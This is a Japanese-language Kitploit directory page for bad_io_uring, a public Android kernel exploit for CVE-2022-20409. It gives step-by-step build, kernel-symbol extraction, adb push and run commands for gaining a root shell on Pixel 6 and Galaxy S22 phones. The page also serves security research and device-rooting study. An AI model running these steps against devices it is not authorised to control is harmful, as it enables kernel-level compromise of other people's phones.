Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
bad_io_uring — CVE-2022-20409 向けの Android カーネルエクスプロイト | Kitploit
ツール/GitHubGitHub/markakd/bad_io_uring
Androidセキュリティ特権昇格脆弱性分析エクスプロイトペネトレーションテストモバイルセキュリティバイナリエクスプロイト
GitHubmarkakd/bad_io_uring

bad_io_uring

CVE-2022-20409 向けの Android カーネルエクスプロイト

リポジトリを見る
213301年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Bad IO_uring

https://www.blackhat.com/us-23/briefings/schedule/index.html#bad-io_uring-a-new-era-of-rooting-for-android-32243

エクスプロイトをビルドする

Android NDK がインストールされていることを確認してください。pixel 6 の場合:

root@kitploit:~
make pixel

samsung s22 の場合:

root@kitploit:~
make s22

エクスプロイトの使い方

このエクスプロイトは、異なるバージョンのカーネルをサポートするように書かれています。エクスプロイトを別のカーネルに移植するには、対象カーネルのシンボルファイルを抽出する必要があります。

カーネルは、電話機のファクトリーイメージから抽出できます。Pixel の場合は、ここ からファクトリーイメージをダウンロードしてください。

イメージをダウンロードしたら、イメージを展開して boot.img ファイルを取得します。boot.img は tools/unpack_bootimg.py で展開できます。

root@kitploit:~
python3 tools/unpack_bootimg.py --boot_img boot.img --out out

カーネルは out/kernel にあります。

次に、カーネルイメージを使用して、vmlinux-to-elf でカーネルシンボルを抽出できます。

root@kitploit:~
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms

抽出されたシンボル内の Version string が、電話機のカーネルバージョンと一致することを確認する必要があります。電話機のカーネルバージョンは adb で確認できます。たとえば、

root@kitploit:~
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64

は、次と一致します。

root@kitploit:~
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022

これで、以下のコマンドでエクスプロイトとシンボルファイルを電話機にプッシュして、ルート化できます。

root@kitploit:~
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms

ルートシェルをお楽しみください :)

ツールをダウンロード